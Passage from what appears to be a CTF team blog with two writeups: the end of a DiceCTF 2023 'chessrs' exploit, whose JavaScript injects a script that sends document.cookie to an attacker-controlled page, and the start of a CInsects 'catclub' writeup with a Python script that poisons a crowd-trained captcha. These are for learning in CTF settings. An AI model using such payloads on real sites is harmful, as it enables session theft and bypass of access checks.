<span class="w"> </span><span class="p">}).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="s1">'k6K/8/8/8/8/8/8/8 w - - 0 1'</span><span class="o">+</span><span class="nx">ws</span><span class="p">(</span><span class="mh">0x18</span><span class="p">),</span><span class="nx">id</span><span class="o">:</span><span class="nx">id2</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="nx">delaytime</span><span class="p">);</span>
<span class="w"> </span><span class="p">}).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">index</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="s1">'ready'</span><span class="p">,</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="nx">delaytime</span><span class="p">);</span>
<span class="w"> </span><span class="p">}).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">index</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="s1">'ready'</span><span class="p">,</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="nx">delaytime</span><span class="p">);</span>
<span class="w"> </span><span class="p">}).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="nx">ws</span><span class="p">(</span><span class="mh">0x18</span><span class="p">),</span><span class="nx">id</span><span class="o">:</span><span class="nx">id2</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="nx">delaytime</span><span class="p">);</span>
<span class="w"> </span><span class="p">}).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="s1">'k6K/8/8/8/8/8/8/8 w - - 0 1'</span><span class="o">+</span><span class="nx">ws</span><span class="p">(</span><span class="mh">0xc</span><span class="p">),</span><span class="nx">id</span><span class="o">:</span><span class="nx">id3</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="nx">delaytime</span><span class="p">);</span>
<span class="w"> </span><span class="p">}).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">index</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="s1">'ready'</span><span class="p">,</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="nx">delaytime</span><span class="p">);</span>
<span class="w"> </span><span class="p">}).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="nx">ws</span><span class="p">(</span><span class="mh">0x10</span><span class="p">),</span><span class="nx">id</span><span class="o">:</span><span class="nx">id3</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="nx">delaytime</span><span class="p">);</span>
<span class="w"> </span><span class="p">}).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">leaked_id</span><span class="p">);</span>
<span class="w"> </span><span class="nx">fetch</span><span class="p">(</span><span class="nx">location</span><span class="p">.</span><span class="nx">origin</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s1">'/id.html?'</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">leaked_id</span><span class="p">);</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kd">var</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="nx">alphabet</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">leaked_id</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="mf">0</span><span class="p">,</span><span class="mf">2</span><span class="p">).</span><span class="nx">concat</span><span class="p">(</span><span class="nx">alphabet</span><span class="p">[</span><span class="nx">i</span><span class="p">],</span><span class="w"> </span><span class="nx">leaked_id</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="mf">3</span><span class="p">));</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">payload</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sb">`<script> console.log('</span><span class="si">${</span><span class="nx">id</span><span class="si">}</span><span class="sb">:' + document.cookie); document.location = '</span><span class="si">${</span><span class="nx">location</span><span class="p">.</span><span class="nx">origin</span><span class="si">}</span><span class="sb">/extract.html?' + document.cookie </script>`</span><span class="p">;</span>
<span class="w"> </span><span class="nx">index</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="w"> </span><span class="nx">type</span><span class="o">:</span><span class="w"> </span><span class="s1">'error'</span><span class="p">,</span><span class="w"> </span><span class="nx">id</span><span class="o">:</span><span class="w"> </span><span class="nx">id</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="w"> </span><span class="nx">payload</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">});</span>
<span class="p">}</span>
<span class="kd">function</span><span class="w"> </span><span class="nx">exploitIframe</span><span class="p">(){</span>
<span class="w"> </span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="s1">'k6K/8/8/8/8/8/8/8 w - - 0 1'</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">ws</span><span class="p">(</span><span class="mh">0x3</span><span class="p">),</span><span class="w"> </span><span class="nx">id</span><span class="o">:</span><span class="nx">id</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="nx">delaytime</span><span class="p">).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">index</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="s1">'ready'</span><span class="p">,</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="nx">delaytime</span><span class="p">);</span>
<span class="w"> </span><span class="p">}).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="nx">ws</span><span class="p">(</span><span class="mh">0x60</span><span class="p">),</span><span class="nx">id</span><span class="o">:</span><span class="nx">id</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="nx">delaytime</span><span class="p">);</span>
<span class="w"> </span><span class="p">}).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="s1">'k6K/8/8/8/8/8/8/8 w - - 0 1'</span><span class="o">+</span><span class="nx">ws</span><span class="p">(</span><span class="mh">0xc</span><span class="p">),</span><span class="nx">id</span><span class="o">:</span><span class="nx">id2</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="nx">delaytime</span><span class="p">);</span>
<span class="w"> </span><span class="p">}).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">index</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="s1">'ready'</span><span class="p">,</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="nx">delaytime</span><span class="p">);</span>
<span class="w"> </span><span class="p">}).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="nx">ws</span><span class="p">(</span><span class="mh">0x1d</span><span class="p">),</span><span class="nx">id</span><span class="o">:</span><span class="nx">id2</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="nx">delaytime</span><span class="p">);</span>
<span class="w"> </span><span class="p">}).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="nx">ws</span><span class="p">(</span><span class="mh">0x18</span><span class="p">),</span><span class="nx">id</span><span class="o">:</span><span class="nx">id2</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="nx">delaytime</span><span class="p">);</span>
<span class="w"> </span><span class="p">}).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">leaked_id</span><span class="p">);</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kd">var</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="nx">alphabet</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">leaked_id</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="mf">0</span><span class="p">,</span><span class="mf">2</span><span class="p">).</span><span class="nx">concat</span><span class="p">(</span><span class="nx">alphabet</span><span class="p">[</span><span class="nx">i</span><span class="p">],</span><span class="w"> </span><span class="nx">leaked_id</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="mf">3</span><span class="p">));</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">payload</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sb">`<script> console.log(document.cookie); </script>`</span><span class="p">;</span>
<span class="w"> </span><span class="nx">index</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="w"> </span><span class="nx">type</span><span class="o">:</span><span class="w"> </span><span class="s1">'error'</span><span class="p">,</span><span class="w"> </span><span class="nx">id</span><span class="o">:</span><span class="w"> </span><span class="nx">id</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="w"> </span><span class="nx">payload</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">});</span>
<span class="p">}</span>
<span class="nx">setTimeout</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="nx">source</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="kc">null</span><span class="p">){</span>
<span class="w"> </span><span class="nx">source</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">index</span><span class="p">.</span><span class="nx">frames</span><span class="p">[</span><span class="mf">0</span><span class="p">];</span>
<span class="w"> </span><span class="nx">exploitWindow</span><span class="p">();</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">},</span><span class="w"> </span><span class="nx">delaytime</span><span class="o">*</span><span class="mf">2</span><span class="p">);</span>
</code></pre></div>
<p>The Flag was extracted by watching the apache2 logs with <code>tail -f /var/log/apache2/error.log</code></p>
<blockquote>
<p>Author note:</p>
<p>I believe I spend about 19 hours in total on this challenge and I'm just happy we solved it </p>
<p><a href="https://youtu.be/PR2XYraqyqs?t=22">Its_done_Its_over.mp3</a></p>
</blockquote>
<h3>Notes</h3>
<p><strong>Future</strong></p>
<p>In the future, we should look into a better way to debug wasm code in order to rationalize memory behaviour better than just trying random values.</p>
<p>Also, we need a better Test interface, that reduces user interaction, maybe using Browser Automation Tools like Puppeteer or Selenium are an Option</p>
<p><strong><a href="https://brycec.me/posts/dicectf_2023_challenges#chessrs">Official Writeup</a></strong></p>
<p>I really recommend reading through the official writeup because it goes more into detail about the underlying bug in Rust that causes the use after free to occur. </p>
<blockquote>
<p>Why do these values work? I didn't want to trace heap allocations, so... ¯<em>(ツ)</em>/¯</p>
</blockquote>
<p>Good to know that the creator of the solution also just tried random values, I wonder if there is some trick to reduce the amount of time wasted on this process (he probably just wrote a program to brute force it)</p>
<blockquote>
<p>Then, with this leak, we can send an error message to the iframe at <code>https://chessrs.mc.ax</code>, and get JS execution on that page! Now there's only one problem left - SameSite. Since the flag is in the admin's cookie and is set with just <code>document.cookie</code>, it is SameSite Lax by default, which means that the cookie isn't in the iframe. I know that one team got really tripped up by this.</p>
</blockquote>
<p><a href="https://youtu.be/mLRbZJS5A_E">Mom_get_the_camera.mp3</a></p>
<p>We got mentioned in the official write-up!!!!</p>CInsects CTF 2022 - catclub2022-03-14T00:00:00+01:002024-02-05T19:10:11+01:00jalakatag:w0y.at,2022-03-14:/writeup/2022/03/14/cinsects-ctf-2022-catclub.html<p>Trick Captcha to believe a <em>dog</em> is actually a <em>cat</em> and let it into the catclub</p><p>The challenge catclub is written in Python and offers the service shadymail that can be accessed after an image captcha is solved and the hidden catclub page where various pictures of random cats can be seen.</p>
<h2>Service Overview</h2>
<ul>
<li>The home page which consists of a captcha where all images of an specific animal must be selected to proceed.(/)</li>
<li>The shadymail service which can be accessed after completing a captcha (/shadymail/home)</li>
<li>The catclub page where random cat images from the internet are displayed (/catclub/images)</li>
<li>A login page where there is a login form and an image upload that acts as a login if one uploads a dog image that is classified by the captcha algorithm as a cat (biometric check) (/catclub/login)</li>
<li>The flag page where people who passed the fake cat login get to leave a message (/catclub/login ; logged in as dog)</li>
</ul>
<h2>Vulnerability</h2>
<p>The goal is to access the page where people can leave comments (flag page).
To access this page one has to pass the biometric check as a dog that is classified as a cat. </p>
<p>This is usually impossible because only cats get classified as cats. The vulnerability in this service lies in the fact that the captcha learns which images are cats from user input.</p>
<p>Code excerpt from the captcha service:</p>
<div class="highlight"><pre><span></span><code><span class="c1"># Check if the accuracy is high enough</span>
<span class="k">if</span> <span class="n">accuracy</span> <span class="o">></span> <span class="n">ACCURACY_TRESH</span><span class="p">:</span> <span class="c1">#passes captcha</span>
<span class="c1"># Save class votes in user votes</span>
<span class="k">for</span> <span class="n">image</span> <span class="ow">in</span> <span class="n">session</span><span class="p">[</span><span class="s2">"images"</span><span class="p">]:</span>
<span class="k">if</span> <span class="n">image</span> <span class="ow">in</span> <span class="n">data</span><span class="p">[</span><span class="s2">"clicked_images"</span><span class="p">]:</span>
<span class="n">value</span> <span class="o">=</span> <span class="mi">1</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">value</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span>
<span class="c1"># Get previous user voting if it exists</span>
<span class="n">previous_value</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">db</span><span class="o">.</span><span class="n">hgetall</span><span class="p">(</span><span class="sa">f</span><span class="s1">'uservote:</span><span class="si">{</span><span class="n">image</span><span class="si">}</span><span class="s1">'</span><span class="p">)</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">goal_class</span><span class="p">,</span> <span class="mi">0</span><span class="p">))</span>
<span class="c1"># Write new value to db</span>
<span class="n">db</span><span class="o">.</span><span class="n">hset</span><span class="p">(</span><span class="sa">f</span><span class="s1">'uservote:</span><span class="si">{</span><span class="n">image</span><span class="si">}</span><span class="s1">'</span><span class="p">,</span> <span class="n">goal_class</span><span class="p">,</span> <span class="n">previous_value</span> <span class="o">+</span> <span class="n">value</span><span class="p">)</span><span class="c1">#save all selected images</span>
</code></pre></div>
<p>The problem with this algorithm is that it isn't exact and uses a accuracy threshold to determine if a captcha is solved or not. With this mechanic we can call the captcha service over and over again, select all cat images and select a few dog images so that the captcha still passes but dogs get marked as cats.</p>
<h2>Exploit</h2>
<p>As the base of the exploit I used the preparedata.py file from the source of the service that loads all images of animals and their true label classification.</p>
<p>I then use this ground truth and comapare it with the images I get from the "/" endpoint (captcha).
I select all cats and a few dogs so that I can still pass the accuracy threshold and send the try to "/captchaaas/validate".
After a few hundred iterations I get enough dogs smuggled in as cats and can then use these misclassified dogs to circumvent the biometric verification check on "/catclub/login".</p>
<p>After that I can just use a dog to login on "/catclub/login", where the page detects that I am a dog that got classified as a cat and displays all messages left from people who got here first (including flags).</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">string</span>
<span class="kn">import</span> <span class="nn">pickle</span>
<span class="kn">import</span> <span class="nn">random</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">matplotlib.pyplot</span> <span class="k">as</span> <span class="nn">plt</span>
<span class="kn">from</span> <span class="nn">PIL</span> <span class="kn">import</span> <span class="n">Image</span>
<span class="kn">from</span> <span class="nn">io</span> <span class="kn">import</span> <span class="n">BytesIO</span>
<span class="kn">from</span> <span class="nn">urllib.parse</span> <span class="kn">import</span> <span class="n">quote</span>
<span class="kn">from</span> <span class="nn">base64</span> <span class="kn">import</span> <span class="n">b64encode</span>
<span class="kn">from</span> <span class="nn">bs4</span> <span class="kn">import</span> <span class="n">BeautifulSoup</span>
<span class="c1">#Load image data and labels</span>
<span class="k">def</span> <span class="nf">unpickle</span><span class="p">(</span><span class="n">file</span><span class="p">):</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">fo</span><span class="p">:</span>
<span class="nb">dict</span> <span class="o">=</span> <span class="n">pickle</span><span class="o">.</span><span class="n">load</span><span class="p">(</span><span class="n">fo</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s1">'latin1'</span><span class="p">)</span>
<span class="k">return</span> <span class="nb">dict</span>
<span class="n">data_batch_1</span> <span class="o">=</span> <span class="n">unpickle</span><span class="p">(</span><span class="s2">"data_batch_1"</span><span class="p">)</span>
<span class="n">meta</span> <span class="o">=</span> <span class="n">unpickle</span><span class="p">(</span><span class="s2">"batches.meta"</span><span class="p">)</span>
<span class="n">labels</span> <span class="o">=</span> <span class="n">data_batch_1</span><span class="p">[</span><span class="s1">'labels'</span><span class="p">]</span>
<span class="n">images</span> <span class="o">=</span> <span class="n">data_batch_1</span><span class="p">[</span><span class="s1">'data'</span><span class="p">]</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"Avalible classes: </span><span class="si">{</span><span class="n">meta</span><span class="p">[</span><span class="s1">'label_names'</span><span class="p">]</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="n">classes</span> <span class="o">=</span> <span class="p">[</span><span class="s2">"bird"</span><span class="p">,</span> <span class="s2">"cat"</span><span class="p">,</span> <span class="s2">"deer"</span><span class="p">,</span> <span class="s2">"dog"</span><span class="p">,</span> <span class="s2">"frog"</span><span class="p">,</span> <span class="s2">"horse"</span><span class="p">]</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"Selected classes: </span><span class="si">{</span><span class="n">classes</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"Unavaliblbe classes: </span><span class="si">{</span><span class="nb">list</span><span class="p">(</span><span class="nb">set</span><span class="p">(</span><span class="n">classes</span><span class="p">)</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nb">set</span><span class="p">(</span><span class="n">meta</span><span class="p">[</span><span class="s1">'label_names'</span><span class="p">]))</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="n">used_class_indices</span> <span class="o">=</span> <span class="p">[</span><span class="n">meta</span><span class="p">[</span><span class="s1">'label_names'</span><span class="p">]</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="n">class_name</span><span class="p">)</span> <span class="k">for</span> <span class="n">class_name</span> <span class="ow">in</span> <span class="n">classes</span><span class="p">]</span>
<span class="n">pickle_contents</span> <span class="o">=</span> <span class="p">{}</span>
<span class="n">pickle_images</span> <span class="o">=</span> <span class="p">{}</span>
<span class="k">for</span> <span class="n">idx</span><span class="p">,</span> <span class="n">image</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">images</span><span class="p">):</span>
<span class="n">label</span> <span class="o">=</span> <span class="n">labels</span><span class="p">[</span><span class="n">idx</span><span class="p">]</span>
<span class="k">if</span> <span class="n">label</span> <span class="ow">in</span> <span class="n">used_class_indices</span><span class="p">:</span>
<span class="n">image</span> <span class="o">=</span> <span class="n">image</span><span class="o">.</span><span class="n">reshape</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span><span class="mi">32</span><span class="p">,</span><span class="mi">32</span><span class="p">)</span><span class="o">.</span><span class="n">transpose</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">)</span>
<span class="n">image</span> <span class="o">=</span> <span class="n">Image</span><span class="o">.</span><span class="n">fromarray</span><span class="p">(</span><span class="n">image</span><span class="p">)</span>
<span class="n">byte_io</span> <span class="o">=</span> <span class="n">BytesIO</span><span class="p">()</span>
<span class="n">image</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="n">byte_io</span><span class="p">,</span> <span class="s1">'png'</span><span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">quote</span><span class="p">(</span><span class="n">b64encode</span><span class="p">(</span><span class="n">byte_io</span><span class="o">.</span><span class="n">getvalue</span><span class="p">())</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">'ascii'</span><span class="p">))</span>
<span class="n">image_name</span> <span class="o">=</span> <span class="s1">''</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">random</span><span class="o">.</span><span class="n">choices</span><span class="p">(</span><span class="n">string</span><span class="o">.</span><span class="n">ascii_uppercase</span> <span class="o">+</span> <span class="n">string</span><span class="o">.</span><span class="n">digits</span><span class="p">,</span> <span class="n">k</span><span class="o">=</span><span class="mi">10</span><span class="p">))</span>
<span class="n">pickle_contents</span><span class="p">[</span><span class="n">data</span><span class="p">]</span><span class="o">=</span> <span class="n">meta</span><span class="p">[</span><span class="s1">'label_names'</span><span class="p">][</span><span class="n">label</span><span class="p">]</span>
<span class="n">pickle_images</span><span class="p">[</span><span class="n">data</span><span class="p">]</span> <span class="o">=</span> <span class="n">image</span>
<span class="n">used_dogs</span> <span class="o">=</span> <span class="p">[]</span>
<span class="c1">#call captcha service over and over again, select all cats </span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">500</span><span class="p">):</span>
<span class="nb">id</span> <span class="o">=</span> <span class="s2">""</span>
<span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">'http://localhost'</span><span class="p">)</span>
<span class="n">soup</span> <span class="o">=</span> <span class="n">BeautifulSoup</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">text</span><span class="p">,</span> <span class="s1">'html.parser'</span><span class="p">)</span>
<span class="nb">id</span> <span class="o">=</span> <span class="n">soup</span><span class="o">.</span><span class="n">find_all</span><span class="p">(</span><span class="s2">"div"</span><span class="p">,</span> <span class="p">{</span><span class="s2">"class"</span><span class="p">:</span> <span class="s2">"captcha_image_card"</span><span class="p">})[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s2">"id"</span><span class="p">)</span>
<span class="c1"># only smuggle dogs in cptchas where cats must be selected</span>
<span class="k">if</span> <span class="nb">str</span><span class="p">(</span><span class="n">soup</span><span class="o">.</span><span class="n">find_all</span><span class="p">(</span><span class="s1">'b'</span><span class="p">)[</span><span class="mi">0</span><span class="p">])</span><span class="o">==</span><span class="s2">"<b>cat!</b>"</span><span class="p">:</span>
<span class="k">break</span>
<span class="nb">print</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
<span class="n">cats</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">dogs</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">img</span> <span class="ow">in</span> <span class="n">soup</span><span class="o">.</span><span class="n">find_all</span><span class="p">(</span><span class="s1">'img'</span><span class="p">):</span>
<span class="k">if</span> <span class="n">pickle_contents</span><span class="p">[</span><span class="n">img</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">'src'</span><span class="p">)[</span><span class="mi">23</span><span class="p">:]]:</span>
<span class="k">if</span> <span class="n">pickle_contents</span><span class="p">[</span><span class="n">img</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">'src'</span><span class="p">)[</span><span class="mi">23</span><span class="p">:]]</span> <span class="o">==</span> <span class="s2">"cat"</span><span class="p">:</span>
<span class="n">cats</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">img</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s2">"id"</span><span class="p">))</span>
<span class="k">if</span> <span class="n">pickle_contents</span><span class="p">[</span><span class="n">img</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">'src'</span><span class="p">)[</span><span class="mi">23</span><span class="p">:]]</span> <span class="o">==</span> <span class="s2">"dog"</span><span class="p">:</span>
<span class="n">dogs</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">img</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s2">"id"</span><span class="p">))</span>
<span class="c1">#Save dogs</span>
